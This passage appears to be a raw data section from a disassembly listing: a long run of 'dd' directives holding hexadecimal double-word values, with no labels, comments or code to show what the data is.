		dd 8395E44h, 24B0048Ch,	678BFA08h, 0F8A528D1h, 0D4AEE909h
		dd 0A617E026h, 8F025F47h, 79BD8E42h, 5EFE21Ch, 41AFF826h
		dd 0FDD78180h, 0A110A259h, 79011D2Dh, 6F249181h, 44E2FD74h
		dd 73007B0Bh, 0C7BFC543h, 48A46EDCh, 64225D99h,	0DD2E8EB3h
		dd 911E625h, 0CD850960h, 3615325h, 7C0A75A5h, 8819E8B4h
		dd 8531823Eh, 30DF0681h, 7E72B0Ah, 53BCFF0Ch, 0B82EB046h
		dd 647D99B9h, 4CA5DE27h, 0B529082Eh, 0BB010DD1h, 30EC8638h
		dd 8E095D71h, 25DD1161h, 0C8BBF22Ah, 31D22D53h,	0E05DCDBFh
		dd 0C9F0B87Fh, 0F0DF0F2Fh, 1FF12205h, 0C29D3BABh, 53D51C80h
		dd 85FC52A8h, 9F881FC0h, 6A311DBFh, 0B9274280h,	0BD550FD2h
		dd 0DD1B0B93h, 0D0539D80h, 0B8022D8Fh, 0B99501AEh, 38935723h
		dd 2BF5020Bh, 9DFA38C0h, 0D82D41E9h, 0C2E1BAF8h, 0D3AD46B7h
		dd 0DC840449h, 8318C0F5h, 640E171Eh, 423DBB57h,	745B4322h
		dd 3FD7A3Dh, 90EA141h, 0AC9BD99h, 188D3BE9h, 0F62AE1B9h
		dd 0E157277Dh, 5B022E41h, 0BFC2C65Eh, 933A57F8h, 3CD4025Ch
		dd 95B95A32h, 80F90282h, 0E05EE6E3h, 0E01AAD56h, 3ED375DCh
		dd 0B5264301h, 9D2386CEh, 8184D06Fh, 2E1269E3h,	0DEF9421Ch
		dd 0C5AFF4B9h, 278A634Eh, 0A9802B22h, 0CC952D61h, 890B4FBBh
		dd 71254163h, 0BC9C2B0Ch, 0D54C823h, 0AEE1FF0Ch, 144E1211h
		dd 84F1F26Dh, 0B814040Ah, 0F2833712h, 23148DEFh, 50A2FCDBh
		dd 3AF68A4Bh, 15A75BCAh, 0E5416AA0h, 3B831109h,	26185E26h
		dd 60DA09DAh, 0EDC48DEh, 9F99820Bh, 0D7069FFFh,	35F20473h
		dd 0D3800219h, 2D2474AEh, 0FA5AC9EEh, 6FB042F7h, 0FC4B57A5h
		dd 1008F4D2h, 0BA95FE8Bh, 29B5FFF5h, 82DD2D00h,	12430C2Bh
		dd 0AC9560ECh, 799D0B8Eh, 0DE305E27h, 89401946h, 77011707h
		dd 111304BFh, 2131406h,	0F909549h, 65457E80h, 0A9618DAh
		dd 99578F6h, 93AFF4EEh,	0BFBDB41Dh, 6888CA01h, 0D8031ADBh
		dd 69EF202Fh, 0EF794973h, 0B06A4112h, 0F07162ACh, 0DB284B1Bh
		dd 0A21E87F0h, 0C2CAFE10h, 9E676209h, 15561874h, 0C9D45064h
		dd 0B62A5E89h, 0C5BD1BD2h, 11884FFBh, 8ABCDB15h, 6F4F3100h
		dd 0E2868CAEh, 0F2C595E1h, 94D950h, 6B7176E4h, 0BB4626B2h
		dd 5A8AFC05h, 0B1CD8979h, 52B4302Eh, 54B820Fh, 6D13BFF3h
		dd 0B5DB05A5h, 0E07BFE28h, 9324A17h, 5C8F9F4Fh,	0C5DF803Dh
		dd 5B07B4BEh, 0B511EE95h, 980B39B5h, 0BB71D8h, 76C0FA0Eh
		dd 9C0274C5h, 9A678062h, 41085D54h, 4C7B27E5h, 0BCDA278h
		dd 9A6D4E6Bh, 4B2AB398h, 6CA86100h, 0C11C42C5h,	9BB802F0h
		dd 52CDB37Eh, 997ED4Ch,	70435BBAh, 0C5123FB1h, 580096F3h
		dd 0BF505408h, 0CD1EDA5h, 453755EEh, 290CC700h,	951EA19Dh
		dd 80841B7Bh, 8BABE1C3h
		dd 72F459F9h, 0B06053C3h, 91962E0Ah, 0C8703FCBh, 0E2BE8920h
		dd 7D5851A8h, 630078B7h, 76FF8613h, 8C7E3AEAh, 0B67292Ch
		dd 5E5E0CB5h, 619BB3E7h, 92805632h, 0F5BA71Bh, 0F95B8B31h
		dd 47DB3124h, 790643C0h, 6D25C0D7h, 642DED2Ch, 0D8B86214h
		dd 32D127F8h, 0A27B9456h, 0C4D0D7BDh, 0F1408D96h, 0F4D78F1Ah
		dd 6EFB0485h, 0AC5BBB09h, 660BA2FCh, 0F4F614C6h, 8B89AEE9h
		dd 0A5DDF271h, 70D43E5Ch, 3509014Dh, 754E03F5h,	766820FDh
		dd 0F4DC99B4h, 41EE9653h, 0E0AA5816h, 6200AC76h, 7C71E170h
		dd 120BBB5Fh, 0F20440ABh, 93A88E08h, 0BEE872BDh, 58A4E3Dh
		dd 7E73C832h, 0D678F52Ch, 1AAB253h, 95B10D9h, 2BC53A8Eh
		dd 811C6860h, 0EC2A2A5Fh, 7DA98A80h, 0F94B0D01h, 813BF18Dh
		dd 3A4B50EEh, 3D7BC3A6h, 8C4B5FEBh, 729596CFh, 0A3BF0464h
		dd 0AE392C3Dh, 0DBF93CDh, 44E4BB82h, 35FE664Ch,	96D004B7h
		dd 4A719589h, 6B559D2Dh, 0C6763C9Dh, 91DE4A0h, 8BB70812h
		dd 80622AAEh, 206B6FB2h, 0CA562F73h, 0D0BFDE63h, 2F019D0Bh
		dd 446EEB5h, 80BC58BFh,	0D0AAB845h, 0A7F90993h,	0D663D640h
		dd 0AB001B46h, 493E19F5h, 0E501D2CCh, 40BBE781h, 52E4394h
		dd 0F99D89A8h, 91C54A2Ch, 0FCC93412h, 0C271242Bh, 72C4C521h
		dd 5CB88625h, 0B401F6A1h, 0CB5FE38Bh, 803ABC55h, 0A1B589D7h
		dd 0D23F2A5Fh, 0F0021523h, 0E28D8940h, 87ED5FECh, 0ED601BE4h
		dd 6004E3FEh, 83397522h, 9D4F60FEh, 96813035h, 26804268h
		dd 162C4B27h, 0A75B3605h, 30BF2057h, 0F63C3510h, 87162F00h
		dd 0CB253DD4h, 509662FBh, 5DB2227Dh, 2BB18282h,	0A5F1F109h
		dd 359F616Eh, 950C0000h, 0BC9DFE7Fh, 7D53C909h,	3A345733h
		dd 274AB75Ch, 0A0F2D857h, 5243440h, 0B88AC0BFh,	566BAE0Ch
		dd 0FC071A23h, 65155B9h, 46FF7AAh, 0B9227FD9h, 8C18AC45h
		dd 0D7217B0Bh, 90AFEF8h, 7E712B39h, 991DBB40h, 5B11251Fh
		dd 56B548CEh, 8B1DD4E6h, 0C5251428h, 45C1144h, 8ED8589h
		dd 0BD7374AEh, 9B0B855h, 6ED4A2D0h, 0C2788BD7h,	235D56FFh
		dd 4F7F5829h, 57B6CD00h, 0C9B531FCh, 5C1E972Bh,	16DC9B96h
		dd 0B2259F8Eh, 8DB2022Fh, 7089C762h, 0E95B13C9h, 9B17AB56h
		dd 77000EB2h, 6935551Ah, 0CE0993FDh, 74F927B4h,	0C1AF3922h
		dd 6DB52558h, 60186455h, 13A1FEBBh, 0FF60FACEh,	1C6166C8h
		dd 978D6FBFh, 0D4BD031Ah, 0B21D905Ch, 4D6550FEh, 0D148C348h
		dd 7FDEBA2Dh, 928348B7h, 0A0685834h, 4C334C02h,	0D111ADE5h
		dd 3DF6932Bh, 0A2E623A0h, 0BD121A03h, 0A28B4FD5h, 92C45559h
		dd 96E0DD20h, 0A11FDC93h, 0A8C10540h, 0D04842F9h, 478132Eh
		dd 122A5951h, 0BBB930FFh, 29F26A86h, 21198514h,	0D460286Eh
		dd 6F53BD5Fh, 0C465A30Bh, 0A0D20FB2h, 0A156FB7Ah, 109B3EF6h
		dd 90FA3E80h, 17C009E9h, 1E8E65AFh, 7B2E0925h, 5D71188Bh
		dd 0B70FB4B0h, 2B1A97FEh, 78D9A007h, 6CC1FF17h,	0E32A18C1h
		dd 0F3578968h, 67B280BAh, 0A66D42FCh, 3D1B8595h, 970297E4h
		dd 0E922805Ah, 0DC581E0Dh, 0BA8EC009h, 0DEFAE468h, 504A2676h
		dd 19ACAEEDh, 0C1FE028Ch, 10CF0EC2h, 1EBD3740h,	0B578E980h
		dd 0E708D967h, 5BD620E0h, 0A65A17B5h, 3A1EE3BFh, 6B41FDFCh
		dd 6BAA27C5h, 1C23B2h, 5AF950D6h, 0B417EF9Eh, 4EC73C96h
		dd 1AEED934h, 0A5B0888h, 15737771h, 9EDCD700h, 7AF27F79h
		dd 97FFED12h, 398466B2h, 7429AE05h, 800D9B2Fh, 4C73D6BDh
		dd 5FA30532h, 488EC8Bh,	0AB2931DAh, 18BB2E9Dh, 49762EAEh
		dd 6A20A275h, 0DC8576FFh, 10CFE95Ch, 0E5842B59h, 747ABF26h
		dd 9BE1800h, 9E3AAA6Bh,	39A0CF10h, 0D18EEEC0h, 0E001EC9h
		dd 0C5B23853h, 3C19DCC8h, 2FCCF560h, 12103110h,	0AEB6615Eh
		dd 88C1CC29h, 0B0172A19h, 0E6168300h, 619D3370h, 71E41995h
		dd 1D45E023h, 9A457195h, 975445AAh, 1295202Ah, 8A035794h
		dd 0C1E2C77Bh, 0D5739A5Fh, 4325F7D9h, 0C986129Dh, 3C9DB222h
		dd 24F99229h, 0D10199B5h, 61070D31h, 0DDBD01D1h, 0BB338F2Ch
		dd 61E96687h, 0C7802F63h, 4C446960h, 6AF9D9E3h,	0B860C5CCh
		dd 4DF70BEh, 0D88B4A9Fh, 218CAD61h, 30D58811h, 0B1F3491h
		dd 0AD6D269Dh, 123EBD53h, 8AB91591h, 0C0C6198Bh, 0D0593395h
		dd 0B0442EBFh, 545382BDh, 6399C34Ch, 466FEBE4h,	0A08C7000h
		dd 194BF1Ch, 0EF59D12h,	1DC840CFh, 0F471E9C0h, 85B602BBh
		dd 79EFD92Bh, 0B616556h, 1A2425BDh, 0F1225B9h, 19450E68h
		dd 975A6CB5h, 0EA021D35h, 7F11A14Bh, 0C9084AFBh, 64582509h
		dd 3295AD77h, 0C9F4822Fh, 4C530920h, 57181B51h,	8FC78801h
		dd 354D7FBAh, 29046B21h, 23807FABh, 2D7D0019h, 0FC2A62AEh
		dd 0D9489BB8h, 326D1348h, 0FD029ABh, 0C796C02Fh, 505EB8BDh
		dd 5EE5A2C6h, 5AC2E706h, 7D697888h, 13012562h, 3595796Eh
		dd 787F00EDh, 8FBB1B19h, 21556E02h, 5F0960A9h, 534F73E4h
		dd 591561F3h, 0C95B4561h, 73CB2A61h, 15120892h,	56E27642h
		dd 1491514Eh, 5001B00Bh, 9FB8705Dh, 8467A56Fh, 72D060C1h
		dd 0C862352Bh, 93A07FF1h, 8B0277BDh, 0A8E6F944h, 114597Bh
		dd 7FAE60FFh, 0AEA62BD1h, 8000B171h, 100A1A2Ah,	0F70094A2h
		dd 793D40A9h, 4AFF319Ch, 556EE1h, 0A2D8C542h, 24611DCCh
		dd 129FFBCAh, 0A90CC4B9h, 5B52A1B4h, 16B2282Bh,	0F4DE3EFFh
		dd 229FD581h, 5B882A8Ah, 0D6280FCDh, 2945B570h,	5FEE229Dh
		dd 0A251DC56h, 0BA0BFA14h, 80C0B760h, 953151ACh, 0C897024Dh
		dd 98D98C21h, 8AD825DEh, 870FA960h, 0E01CF69Fh,	8AC60CC0h
		dd 7D60032Dh, 95095B10h, 25997D4Dh, 6AA86961h, 9D8EC114h
		dd 10A1042Bh, 0B14E0DA5h, 0D358A093h, 7B92C2Eh,	0A6462545h
		dd 0B0049CC8h, 90F741D8h, 59CFBB03h, 135010EBh,	0E6927616h
		dd 5E43F0A7h, 0BF01017Fh, 3E7CA423h, 1CB448E8h,	0B72DDC00h
		dd 785AEBE3h, 0E98907AAh, 50F373ABh, 0BF265D40h, 0FAE43E50h
		dd 0CA6A5F24h, 26D402F4h, 60CBE2C0h, 4E491055h,	47FC00DAh
		dd 0FF728BC5h, 0CE390582h, 0AC2100D6h, 0FC628077h, 0F8C84FB1h
		dd 3069120Ah, 0E5A939AAh, 0AA138008h, 88271DE2h, 135409B7h
		dd 0D8930F57h, 4642FE85h, 75E456BBh, 527DDA66h,	0BB3B1095h
		dd 6B7C457Ah, 0E3006B6Ah, 0D30243FAh, 51936E1Dh, 0C68E253Bh
		dd 761C2D72h, 44391473h, 385D044Ah, 0C1F6688Ch,	2B104DD1h
		dd 37511EDCh, 0AFB83FB7h, 7243158Ch, 0BF6D0162h, 6B0A5CDEh
		dd 75001444h, 1F64CDE5h, 12270E6Ah, 0B93A6563h,	8C1CAC9Fh
		dd 0B360DA00h, 1730190Fh, 89D74B0Bh, 23DB3E02h,	0C2E97EC1h
		dd 9DAAF8A6h, 0FBCDB04Ah, 40691020h, 589F0B19h,	65995E3h
		dd 270AD188h, 80C1EF54h, 0D06A15D7h, 96DCEBCBh,	50DF8B17h
		dd 7D8134ECh, 0F4771284h, 4900D92Dh, 32F19DC5h,	0F7A40B56h
		dd 80259B6Ah, 7BBFBA42h, 287F2597h, 680B9966h, 46C742Fh
		dd 0EABF84Bh, 73EFD0C1h, 0E179E636h, 77D6B903h,	0AD2CC304h
		dd 24E6D677h, 0F62C5E0h, 0B19D0315h, 270658ADh,	92E79FAh
		dd 96572BEDh, 9AB5955Dh, 6D026713h, 75725DB4h, 12DA8C6h
		dd 3597128Dh, 0E3D28464h, 7962EBD4h, 95A358D9h,	26A0A516h
		dd 47952DBDh, 0AF7E2791h, 517B7AFh, 0C256E8D3h,	37AB21B5h
		dd 551DE25Fh, 1DF1A635h, 0CAB8FC19h, 0DEE47C01h, 0A395E868h
		dd 0A85DE920h, 1353BBEFh, 0F1342DA7h, 9C55FAE8h, 81604498h
		dd 9AAEB1Dh, 0B3D34AD4h
		dd 0B2275E4Dh, 1D2B006Fh, 71567876h, 0E786014Bh, 1C5BD5A1h
		dd 15CD7E68h, 0F07A652Ah, 599D0C59h, 35DF6927h,	0F3AE1CAAh
		dd 0F5011DDEh, 0A1F3BF5Fh, 362B7798h, 694A761Eh, 53A99112h
		dd 0A8ECEDD2h, 0E3770085h, 9A7BEF2Bh, 9627FB8Bh, 6928FE57h
		dd 0FECECEF4h, 0CF604E2Ch, 0BF81D8Dh, 965F5599h, 0B9705E7Bh
		dd 90BA2B66h, 609327AEh, 1F3FABD0h, 218C9F02h, 0C009AEC2h
		dd 95285974h, 50B25E6Eh, 1125BDFEh, 0A1615B05h,	1A587F8h
		dd 30ADC765h, 5FA83A84h, 0E1A92609h, 71E4468h, 7CC1F0A0h
		dd 0DE5AFC25h, 64856DB5h, 3094601Dh, 21740158h,	16970E9Ah
		dd 0CF132B3Fh, 0BF5BB77Eh, 1CFF6E75h, 0EA5625B9h, 5003535Ah
		dd 0CF014D49h, 743ABFD9h, 122B5BB8h, 0B84CB9EFh, 0A4591D10h
		dd 0EB0C8FC2h, 1E7B6C0h, 9B755BDh, 0AD14580Ch, 167FE326h
		dd 185FA1CAh, 209D33C5h, 0D903109h, 55FC2B09h, 0A63F7135h
		dd 95F51226h, 2A2082F3h, 0F8E2455Ch, 0F04D576Ah, 1EC037E4h
		dd 1B8BE769h, 6B154DBDh, 0B5C7ACB4h, 0F7E025F6h, 0F476CDF5h
		dd 7CA5B8BCh, 8809F417h, 5850A006h, 792E93C0h, 0B622CC38h
		dd 99D39E04h, 0BFC5A7B7h, 31AAD0D4h, 6B3EB3D2h,	14C889DAh
		dd 0BB7D4C1h, 874B63Ah,	791839B5h, 9D89112Ah, 961B02FBh
		dd 0A9B7BF66h, 3D71DFh,	981C6B0Bh, 13FEB15Bh, 0A71D6200h
		dd 587E1EB9h, 8AB34802h, 0D604963Fh, 0B9030D90h, 8C19AC54h
		dd 3CDCA00h, 0B768BBA6h, 4798C444h, 0D454B82Dh,	0F005AB1Ah
		dd 0AFB3E37Fh, 4AAC1824h, 0E8C6F94Ah, 92BBA354h, 0BF9CD52Bh
		dd 6E3F6145h, 0B9CD1F4Ch, 0A768F3C0h, 0B8042BDAh, 97857014h
		dd 0D9947016h, 5FE801D4h, 0BCCB066h, 21D0206Ah,	0C3A8255Ah
		dd 78E18DC7h, 0DCE456D2h, 0BB18F05h, 4CB85D59h,	0B87CE916h
		dd 2D4E5005h, 0C1DF2763h, 0B57388BBh, 3D3A976Ah, 0B61B55Dh
		dd 6F849026h, 44AA530Ah, 137CB296h, 0A6190A1h, 0E376F2Bh
		dd 0BFFC93CBh, 8881CFDFh, 6A5B48DFh, 1D616F3Eh,	0BA410DD9h
		dd 21DBA970h, 41B0C837h, 732810E1h, 4A05A4C6h, 56064CF0h
		dd 5C06D81h, 0F9F04136h, 0E400CEBBh, 34BF7409h,	9E2531F2h
		dd 4AE20934h, 7A018F61h, 5F6A7522h, 7FE04D4Dh, 2718BA9Eh
		dd 5171A267h, 6EB86D00h, 3FBC5868h, 0B717977Ah,	3429E85Ah
		dd 0CCEA6AF9h, 0BC0593FEh, 952947E7h, 5B09DCEDh, 2F71DC8Ah
		dd 0EF084ADh, 925D2909h, 613A552Fh, 12D45454h, 0E2D1FF31h
		dd 837E8846h, 2BFC026Ah, 4A057420h, 1A290h, 37422E3Ah
		dd 0F6EAEE1h, 0D6524546h, 7C913260h, 0CC0BE0BBh, 405B5DB3h
		dd 4B7D039Fh, 0E3C4A690h, 0F792FA4Eh, 6ED6240Eh, 11823B0h
		dd 0E40EE9D2h, 0CCA76A10h, 121F1510h, 6DE3BDE9h, 17F05484h
		dd 82604982h, 12CF5DFh,	34498523h, 379F61BEh, 0BDFD0B71h
		dd 719B6C7Dh, 186E9525h, 2D090CA0h, 800B5182h, 6B14A879h
		dd 7992ED97h, 3C641097h, 9BBC0F07h, 0E5941562h,	0B746D84Ah
		dd 42292EEDh, 34A8A62Dh, 0A0EC8315h, 0AF19003Dh, 9A3B1720h
		dd 98D625C0h, 0D3A5D053h, 9BB8533Eh, 711D8982h,	0B4529C94h
		dd 79832C8h, 623A265Eh,	5F17C07Eh, 0C800CC9Fh, 9ABFBE5Dh
		dd 981B5590h, 9F56BD87h, 0BF72DCh, 0F28DC2E6h, 0BD890550h
		dd 0D19A92Eh, 5D25F542h, 160076BDh, 0D833D1B8h,	31EB1650h
		dd 158F2FEh, 7F5D3BB0h,	7BCC38F6h, 9CA6028Ah, 348C24F4h
		dd 0B4B90255h, 0C2775CDCh, 0F823012Ch, 852981B0h, 0AA6E563Fh
		dd 0B995EB02h, 0C660112Ah, 0EFA6DAD9h, 1C26CD08h, 97C6461h
		dd 877121E1h, 0D44CFA91h, 0AC24AD12h, 0B9608324h, 40FC2E3Fh
		dd 61C10976h, 90E9471h,	732D3C8Dh, 0ADB58463h, 9789B81Bh
		dd 2C3409EDh, 897DA82Bh, 10917061h, 4F1D39BDh, 3F6F33BCh
		dd 38BD18Ah, 0A7E9F49Ah, 808C775Fh, 2DBD3631h, 5009EACFh
		dd 747554Ch, 782FB5F0h,	2D43BA87h, 75C610Fh, 1B10C542h
		dd 1B4A827Ah, 302233B3h, 20504E9Fh, 0E9352E19h,	0E4BB175Eh
		dd 4A0091B9h, 862EF6FDh, 905D2ACh, 723EA09Eh, 9D93B0FDh
		dd 5B9CA9F1h, 9C6302Eh,	2B4745B5h, 30912A22h, 0AC56F944h
		dd 1955A156h, 478A0909h, 0AB2CD41Dh, 27AB2328h,	6FED4C72h
		dd 9EAD3BE0h, 0ED224A58h, 658D8484h, 0B44314CDh, 0A6B14A9Dh
		dd 3219B222h, 318B6B74h, 0F717015h, 0FAB96B9Ah,	0E92DAD97h
		dd 0DF75827Fh, 0E32CF65Ch, 0B65FD90Eh, 0A702576Fh, 0DBFD6126h
		dd 488065E0h, 0C02BF813h, 0A8B811A9h, 0EF801A18h, 7BFF9A2h
		dd 799968DEh, 0E05E0BBAh, 957138E0h, 0F34C0042h, 75735510h
		dd 0E14BF080h, 0CF40F58Fh, 82D7AAD9h, 5C0577B9h, 59614BD5h
		dd 0C08C3D27h, 6341BB53h, 5F1D3BA2h, 6558700Fh,	6E6BABB6h
		dd 8259604Ah, 5800FDCCh, 6B6AAABBh, 4DBD0B1Dh, 0A24A74B5h
		dd 599AF534h, 0D7C05DCFh, 3A471BC5h, 6BD5BB0Eh,	48F65308h
		dd 96C2A8E2h, 15CF5080h, 0BE4BB302h, 8722E38Ah,	0DD9D290Bh
		dd 80305D2Eh, 82007D30h, 0D1BAE18Bh, 24CCD5Dh, 6F139AC4h
		dd 78E07A22h, 0B84F4762h, 0D680409Fh, 0C0EAD87Dh, 9ADE8604h
		dd 1BC5D95h, 0DDBD09C1h, 768D6B27h, 0BAD3DC5Ah,	0B653B835h
		dd 0FBBD1716h, 75128C48h, 88D9E330h, 7310AD17h,	191C5246h
		dd 0FE022C1Dh, 5C669D98h, 0B556D2E6h, 0C714D351h, 129E250h
		dd 1569B521h, 60DC8A10h, 0E88089B9h, 0BE397F1h,	0CF531273h
		dd 5BACE10Fh, 0F994C038h, 27ACD916h, 35C6EECFh,	0D1BD2308h
		dd 0D6622525h, 0DC5B5Eh, 869EB3C1h, 0CAB0D49Ch,	935CE425h
		dd 0EFCFF067h, 0AA0F481Fh, 0E0ADBD13h, 2EE35F10h, 0AD2EF048h
		dd 65DDFB60h, 55079A95h, 9ACD6E3Ah, 3F127C60h, 2FD0C13Ch
		dd 30907E6Ah, 0D53BCF99h, 0A1855050h, 25312D51h, 8F2D7E81h
		dd 13FBE23Fh, 37FACD3Fh, 17A790D1h, 12C22B89h, 5CDBB350h
		dd 0AACBAF60h, 0F3009385h, 0C58A461Ah, 40FDF63Ah, 3CE9B009h
		dd 0D5EAAA7Dh, 5ECF2419h, 0F3496150h, 532DF336h, 5B0B8B01h
		dd 0B8962958h, 4EF01D07h, 0BD05A8E4h, 786B1E74h, 459D13D1h
		dd 796FAB22h, 0B4001A23h, 1315CB9Fh, 84E44B90h,	8A7BAA98h
		dd 7AD3F100h, 421FCCE4h, 0E96AFE09h, 0BF2920AFh, 4B5B09F9h
		dd 7AB48D43h, 9992DBA8h, 2A99F0F4h, 0BFA16E95h,	79003264h
		dd 0C2BAA86Fh, 3EB6D19h, 8EB5E6FCh, 28D84E2Eh, 763A508Dh
		dd 0CA977229h, 6BB156B3h, 0D37078F3h, 0CAE80037h, 4EDFE28Ch
		dd 1809BBD9h, 0A93A0D92h, 0EBB55472h, 0D853937Bh, 4F9AF8C8h
		dd 2FF4EC6Fh, 80A6B789h, 970A7BFFh, 77E1372h, 0F90E7A12h
		dd 0BD03E960h, 56214F11h, 0A92C125Dh, 30A696A2h, 68F56EA1h
		dd 0DEA94A8Bh, 0B4F850ECh, 8B00FC46h, 94F568FAh, 9979685h
		dd 2565C42h, 69996F0Ah,	1EDC79F6h, 823FC0F9h, 8DEA890Dh
		dd 0FA508445h, 8C70D0h,	49E0A71Eh, 2D8D894Eh, 7B4E1B4Bh
		dd 0BD121169h, 3010F5F9h, 4998CE4Eh, 4C5E5320h,	0E8DB3B57h
		dd 0E55586D2h, 4A61989Bh, 67950C71h, 3EEFA471h,	9D2B0DE0h
		dd 1C970A31h, 0E93E44D2h, 0E0051150h, 0EAD2BB01h, 4F9137F2h
		dd 3839DC4h, 0C9C1E27h,	374EE962h, 5EF0ECE6h, 0E052815h
		dd 666E8EF5h, 0E8238EEAh, 91A459Dh, 32CD897h, 9181770Bh
		dd 82165551h, 44CC9495h, 14900128h, 31CD4FF7h, 0FE8B2715h
		dd 0C82EDA2Ah, 0BBB8E015h, 0DB7FCC6Ch, 91D03597h, 836D8119h
		dd 0AFD4EF7h, 642B372Eh, 0CFC4B8DEh, 79A9D209h,	0ED79962Dh
		dd 0BDFB389h, 0FD6DF07Fh
		dd 954F1A2Ah, 1455156Ah, 63449742h, 0DFAE8000h,	2878487Ah
		dd 4F6E95DBh, 2C604BADh, 7531410h, 0A8FA269Eh, 406D1AFCh
		dd 0CE89E7BBh, 7C8C0B4Bh, 0B9953F29h, 0B475A8DAh, 0BE03AB6Bh
		dd 37E4836Ch, 3E9509B1h, 0BD0B6F41h, 0D42D2591h, 0C88060C0h
		dd 85F4896Fh, 615A15BAh, 593ADEA2h, 28F12A41h, 20D5E621h
		dd 6FF2F536h, 9CF94C55h, 505125F6h, 77E7C68h, 0F46FB5A1h
		dd 7E8B6B89h, 804E0242h, 0E0F44FB5h, 8A718327h,	0F7A9FE4Ah
		dd 258C15ACh, 0E9D8CF06h, 0A6E7572Ch, 8ACF543Eh, 8596DC3Dh
		dd 95E026BBh, 0BF5045C0h, 0E9FE4C5Ch, 91D6A07Eh, 4B6E910Eh
		dd 95A29D8h, 9AD295A2h,	386180FBh, 16E65D80h, 0DE6774h
		dd 62CF8144h, 7F4B2744h, 6D34008Ah, 0F6DBFE3Eh,	79E638C1h
		dd 0B8D33F7h, 5D25CCEAh, 4D8279A0h, 3002731Ah, 8345B1E1h
		dd 0F7C6DF4Fh, 3405D94h, 28D3208Bh, 0BE9EF5BBh,	463A0E18h
		dd 0BF3489E4h, 0CFC94EDBh, 916435DDh, 8A198117h, 0DA2AAF6Ch
		dd 0C01DC88Fh, 0A0E3BE32h, 1071CD1Dh, 9CC1242h,	5FEAD58Dh
		dd 0A9FCC1D7h, 0AA77133Eh, 9D824A2Ah, 0F48F8E7Ah, 0BF6604B1h
		dd 72B87521h, 0CE9DC8D7h, 0FED6973Fh, 0C59AAE09h, 1094F620h
		dd 0C55B250Ah, 0F77A1665h, 5B83B0FFh, 0AEDE05F2h, 0E2ECB30Dh
		dd 12C802AFh, 0D4FB4873h, 20340014h, 917644A2h,	0C6AB7825h
		dd 5A229873h, 5A20B779h, 2EA0CFF6h, 2500DEABh, 0DA52C1EEh
		dd 2F60D7E8h, 805E39B0h, 61C64EE1h, 3B7E3D2Eh, 0D587D89Ah
		dd 76A9201Fh, 0A791576Ch, 66BD3D80h, 0CA4FE6h, 32DA3CF9h
		dd 8485D9F1h, 4A09EAECh, 705DE95Bh, 689AC194h, 26C18BE6h
		dd 2B9DF075h, 347C5FD1h, 0D4B2AC39h, 9EDE09CAh,	24DD1890h
		dd 79EB18D8h, 0BE31E82h, 1C007E9Ah, 9049584Eh, 2512C781h
		dd 0DF09CD48h, 0F80D6D74h, 0F63F0E78h, 5AB8E072h, 538D5F31h
		dd 7118FA17h, 0B7FFBEACh, 0B51057F8h, 0C54A09D1h, 0B630EB68h
		dd 13C9C3BFh, 0AA904E3Ah, 3D86D005h, 0F4020BBh,	96F66F1Fh
		dd 80D75638h, 94416B5Eh, 9A6178ACh, 5A1E7F4Fh, 87791B90h
		dd 0BD01CC0Fh, 5E08D431h, 0D5278709h, 0AF9CA416h, 0A72D00D4h
		dd 0DBAE84C9h, 0CD4C51ACh, 50912F2h, 0B24F47E7h, 0D45B00EEh
		dd 0A059C4A1h, 0ED4500A3h, 72C09650h, 6512EC16h, 7AABA62Dh
		dd 4929013Bh, 0FFE5EFF5h, 2B7F33Bh, 0B5F454BFh,	516E5C35h
		dd 57921584h, 1D66552Eh, 0D8EB5B7h, 395690F1h, 8DC84D5h
		dd 0DBBC4585h, 0C37A819Dh, 28A7D9F3h, 0B14D802Ah, 50E9879h
		dd 5FF0A8E5h, 0E49DF690h, 89E8C8BFh, 2854F99Fh,	0EB390B7Fh
		dd 42B0563Eh, 255D8529h, 0D3E912F5h, 0C88474E3h, 0FA8B04FFh
		dd 80B09BABh, 0DFA3B296h, 0D86E9559h, 216EF68Dh, 0DB2C7E8Ah
		dd 5F7816Bh, 0C250021Ch, 0ADC5F506h, 0FEB9C700h, 4E47F917h
		dd 807002F8h, 45F52FE7h, 2D4508E1h, 0C9E42Dh, 828E018Ch
		dd 0BB987C3Eh, 6541EA00h, 2B5A5460h, 9AB01784h,	1040BC37h
		dd 5F25269Dh, 4F5F9DCAh, 0C97C6977h, 3E4D7E80h,	2D090815h
		dd 9B7E999Dh, 7B9A6AA5h, 0CE57832h, 0BF837500h,	94E19DB5h
		dd 81600057h, 5EE3AD9h,	0D1128077h, 8EE161F7h, 0BF2A8C3Bh
		dd 0A6A97B0Bh, 0AA108818h, 0C8EAC827h, 7DB209B8h, 3B736BB3h
		dd 29164C11h, 0BB4AF4B5h, 6F6AD805h, 17F8B02Ch,	0B2D4F0D7h
		dd 70E6A905h, 0D7AA9AB7h, 621E3400h, 0F1512421h, 11096AD4h
		dd 0B3672FBh, 258D29F9h, 0C0BD5258h, 89158916h,	0F42BDEE8h
		dd 45ED80A9h, 94AC70F7h, 1E46291Eh, 585B4Bh, 0A26D7F17h
		dd 58199760h, 7E906AF9h, 5F442AC3h, 205BA852h, 0A95F4E05h
		dd 0DB8104A5h, 66FC576Bh, 702AF80h, 8E00DED2h, 0CB2FA141h
		dd 7661EE85h, 0F81F2DB5h, 81801F56h, 2A298EFh, 0C82B0049h
		dd 31D18BFCh, 699AAD9Dh, 57D7E976h, 8AA388ABh, 190EFD4Eh
		dd 0F644094Eh, 0D7806282h, 0DE8BECC0h, 99610A97h, 3D2A4D60h
		dd 8A4712ABh, 0B98C04CAh, 966DB80Fh, 0E8F88h, 96D8C9D3h
		dd 5DADA8F8h, 0A2B83100h, 7F8D51ECh, 0BEBF2DA6h, 5B646674h
		dd 0EF2D75AEh, 0E9124CB2h, 69C73139h, 2D9C2B1Ah, 0EA519DB3h
		dd 0BB822290h, 5B5C2AB4h, 6D9D89C1h, 8984090Dh,	710CD10Ch
		dd 81A5425Bh, 574C7F0Bh, 0CE97C71Fh, 48F7D381h,	0D86F704Fh
		dd 770934C1h, 801B93F8h, 0F2D45652h, 0AC9901F1h, 75BCC98Fh
		dd 535CE6B3h, 531080C9h, 5E02B9F9h, 0FABE420Fh,	175C1CB7h
		dd 0C0EB4D25h, 9C7D32AEh, 0FC04B376h, 1DF59D23h, 0BD0371AEh
		dd 543AC609h, 0FA004EF7h, 19B0D9C2h, 0A01E2301h, 8EF141BEh
		dd 68DB4A1Ah, 4EB7E283h, 955CBEB5h, 0CBAD4813h,	4BE62BBDh
		dd 0AF35C44Ah, 0AC801B9Eh, 0F4A34180h, 9003DD2Fh, 4986D9h
